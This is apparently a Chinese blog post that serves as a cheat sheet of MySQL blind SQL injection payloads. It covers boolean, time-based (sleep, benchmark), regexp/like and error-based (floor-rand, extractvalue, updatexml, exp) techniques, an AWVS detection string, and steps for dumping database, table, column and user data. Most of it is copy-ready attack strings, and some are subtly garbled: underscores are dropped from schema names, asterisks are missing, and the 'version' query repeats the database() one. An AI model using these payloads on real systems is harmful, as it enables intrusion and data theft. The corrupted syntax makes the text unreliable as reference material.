mysql注入之盲注语句汇总

目录

mysql注入之盲注

常用语句汇总

基于bool盲注

查询当前数据库

基于时间的盲注

盲注常用函数:

regexp正则注入

like匹配注入

特殊的盲注之报错注入


mysql注入之盲注

什么是盲注?

基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。

盲注就是利用真假条件进行测试。

这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。

常用语句汇总

基于bool盲注

1.判断表存不存在

and exists(select * from information_schema.tables)

2.判断存在多少个库

and (select count(distinct+tableschema) from informationschema.tables)>4

3.判断库名的长度

and (select length(tableschema) from informationschema.tables limit 0,1) >17

4.接下来爆每个库的库名

and (select ascii(substr((select distinct tableschema from informationschema.tables limit 0,1),1,1)))>104

5.猜表,首先判断表的长度

and (select length(tablename) from informationschema.tables where tableschema='informationschema' limit 0,1) >13

6.判断完表的长度之后就要开始猜解表的字符

and (select ascii(substr((select tablename from informationschema.tables where tableschema='informationschema' limit 0,1),1,1))) >66

7.再接下来猜解表里边的字段即列,首先统计一下有多少个字段

and (select count(columnname) from informationschema.columns where tableschema='informationschema' and tablename='CHARACTERSETS' ) >4

8.判断每个字段的长度

and (select length(columnname) from informationschema.columns where tableschema='informationschema' and tablename='CHARACTERSETS' limit 0,1 ) >17

9.接下来猜第一个字段的字符

and (select ascii(substr((select columnname from informationschema.columns where tableschema='informationschema' and tablename='CHARACTERSETS' limit 0,1),1,1)) ) >66

查询当前数据库

1.查询数据库的长度

and length(database()) > 4

2.查询数据库名

and ascii(substr((select database()),1,1)) > 99

3.查询表名的长度

and (select(length(tablename)) from informationschema.tables where table_schema = 0x64767761 limit 0,1) > 8+--+

4.查询表名

and ascii(substr((select tablename from informationschema.tables where table_schema=0x64767761 limit 1,1),1,1)) > 116

5.查询列名的长度

and (select(length(columnname)) from informationschema.columns where table_name = 0x7573657273 limit 0,1) > 6

6.查询列名

and ascii(substr((select columnname from informationschema.columns where table_name=0x7573657273 limit 0,1),1,1)) > 116

7.查询字段的长度

and (select length(columnname) from informationschema.columns where table_name=0x7573657273 limit 1,1 ) >10

8.爆出字段

and ascii(substr((select user from dvwa.users limit 0,1),1,1)) > 96

基于时间的盲注

前置基础知识

MYSQL的if函数使用

格式:IF(条件,结果A,结果B)

含义:如果条件成立,则执行A,否则B

MYSQL的substr、substring、mid函数的使用

格式:substr(string,start,len)

格式:substring(string,start,len)

格式:mid(string,start,len)

含义:从string的start位开始截取len个字符

MYSQL的ascii、ord函数的使用

格式:ascii(char)

格式:ord(char)

含义:将char转化成ascii码

盲注思路

基于时间盲柱

if(ascii(substr(查询语句,start,1))=97,sleep(3),1)

基于布尔盲注

or ascii(substr(查询语句,start,1))=97

substr函数中可以接select语句

两种类型盲注的区别

  • 基于布尔盲注是根据页面差异判断是否存在注入,以及数据注入的

  • 基于时间盲注是通过盲注不能得到差异页面(比如:无论输入什么都显示同一个页面.), 这时候可以尝试时间盲注

补充:

为什么没有差异,有这么几种情况:

  • 第一种情况:无论输入什么都只显示无信息页面,例如登陆页面。这种情况下可能只有登录失败页面,错误页面被屏蔽了,并且在没有密码的情况下,登录成功的页面一般情况下也不知道。在这种情况下,有可能基于时间的SQL注入会有效。

  • 第二种情况:无论输入什么都只显示正常信息页面。例如,采集登录用户信息的模块页面。采集用户的 IP、浏览器类型、refer字段、session字段,无论用户输入什么,都显示正常页面。

  • 第三种情况:差异页面不是由输入URL中的SQL语句来决定的。这种情况下,也只能使用基于时间的盲注。

注入-判断注入

今天看到awvs里面判断盲注的payload感觉很使用,也很经典,这里就搬过来。

payload: if(now()=sysdate(),sleep(6),0)/'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"/

tips: 第一点:awvs是用了几次这个语句,改变sleep的时间,来说明存在注入的;第二点:有的页面显示有非法请求,但是这种很有可能已经把sql语句带入数据库执行了(今晚就是这个情况)

注入-查看信息

查看用户名

payload:if(ascii(substr(user(),第几位,1))=114,sleep(3),1)

查看数据库

payload:if(ascii(substr(database(),1,1))=114,sleep(5),1)

查看mysql的版本

payload:if(ascii(substr(database(),1,1))=114,sleep(5),1)

注入-爆表、列、查信息

爆表

union select if(ascii(substr(tablename,1,1))>97,sleep(5),1),2,3 from informationschema.tables where table_schema = database() limit 0,1

union select if(ascii(substr(user(),1,1))=114,sleep(5),1),2,3

因为我们不需要知道字段的多少就可以猜解出user了,可以让if恒为真,然后去添加字段个数,如果请求有延时,就说明字段个数正确,否则说明字段个数错误。

爆列名

union select if(ascii(substr(columnname,1,1))=105,sleep(5),1),2,3 from informationschema.columns where table_name = 'admin' limit 0,1

爆数据

union select if(ascii(substr(user,1,1))=97,sleep(5),1),2,3 from admin limit 0,1

python写盲注脚本

设计思路

<1> 时间判断 start = time.time() end = time.time() all = end-start

<2> 将所有代表字符的ascii码整理进一个list,对list进行迭代

<3> 返回数据的时候用char(ascci码)转化成明文数据

盲注常用函数:

length(str)       判断字符串长度

if(exp1,A,B)      如果条件exp1为True,执行A,False执行B

sleep(time)      time为时间,单位秒 延迟time后执行命令

benchmark(count,expr)      延时注入,如果为真,重复计算count次

and benchmark(if(length(database())=4,5000,0),md5('test')); --+

left(a,b)      从左侧截取a的前b位

left(database(),1)>'s'

regexp正则注入

select user() regexp '^[a-z]'

select user() regexp '^ro'

当正确的时候显示结果为1,不正确的时候显示结果为0.

like匹配注入

和上述的正则类似,mysql在匹配的时候我们可以用ike进行匹配

select user() like 'ro%'

特殊的盲注之报错注入

1:基于布尔SQL盲注----------构造逻辑判断

我们可以利用逻辑判断进行

截取字符串相关函数解析http://www.cnblogs.com/lcamry/p/5504374.html(这个还是要看下)

▲left(database(),1)>'s' //left()函数

Explain:database()显示数据库名称,left(a,b)从左侧截取a的前b位

▲ascii(substr((select tablename informationschema.tables where tables_schema=database()limit 0,1),1,1))=101 --+ //substr()函数,ascii()函数

Explain:substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数

Explain:mid(a,b,c)从位置b开始,截取a字符串的c位

Ord()函数同ascii(),将字符转为ascii值

▲regexp正则注入

正则注入介绍:http://www.cnblogs.com/lcamry/articles/5717442.html

用法介绍:select user() regexp '^[a-z]';

Explain:正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。

第二位可以用select user() regexp '^ro'来进行。

当正确的时候显示结果为1,不正确的时候显示结果为0.

示例介绍:

I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

IIselect * from users where id=1 and 1=(user() regexp'^ri');

通过if语句的条件判断,返回一些条件句,比如if等构造一个判断。根据返回结果是否等于0或者1进行判断。

IIIselect * from users where id=1 and 1=(select 1 from informationschema.tables where tableschema='security' and table_name regexp '^us[a-z]' limit 0,1);

这里利用select构造了一个判断语句。我们只需要更换regexp表达式即可

'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE

如何知道匹配结束了?这里大部分根据一般的命名方式(经验)就可以判断。但是如何你在无法判断的情况下,可以用table_name regexp '^username′来进行判断。是从开头进行匹配,

是从结尾开始判断。更多的语法可以参考mysql使用手册进行了解。

好,这里思考一个问题?table_name有好几个,我们只得到了一个user,如何知道其他的?

这里可能会有人认为使用limit 0,1改为limit 1,1。

但是这种做法是错误的,limit作用在前面的select语句中,而不是regexp。那我们该如何选择。其实在regexp中我们是取匹配tablename中的内容,只要tablename中有的内容,我们用regexp都能够匹配到。因此上述语句不仅仅可以选择user,还可以匹配其他项。

▲like匹配注入

和上述的正则类似,mysql在匹配的时候我们可以用ike进行匹配。

用法:select user() like 'ro%'

2:基于报错的SQL盲注------构造payload让信息通过错误提示回显出来

▲Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a;

//explain:此处有三个点,一是需要concat计数,二是floor,取得0 or 1,进行数据的重复,三是group by进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为mysql 的bug 的问题。但是此处需要将rand(0),rand()需要多试几次才行。

以上语句可以简化成如下的形式。

select count() from information_schema.tables group by concat(version(),floor(rand(0)2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

▲select exp(~(select * FROM(SELECT USER())a)) //double数值类型超出范围

//Exp()为以e为底的对数函数;版本在5.5.5及其以上

可以参考exp报错文章:http://www.cnblogs.com/lcamry/articles/5509124.html

▲select !(select * from (select user())x) -(ps:这是减号) ~0

//bigint超出范围;~0是对0逐位取反,很大的版本在5.5.5及其以上

可以参考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html

▲extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql对xml数据进行查询和修改的xpath函数,xpath语法错误

▲updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql对xml数据进行查询和修改的xpath函数,xpath语法错误

▲select * from (select NAMECONST(version(),1),NAMECONST(version(),1))x;

//mysql重复特性,此处重复了version,所以报错。

3:基于时间的SQL盲注----------延时注入

▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if判断语句,条件为假,执行sleep

Ps:遇到以下这种利用sleep()延时注入语句

select sleep(findinset(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));

该语句意思是在0-9之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。

▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;

//BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()函数进行注入。

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值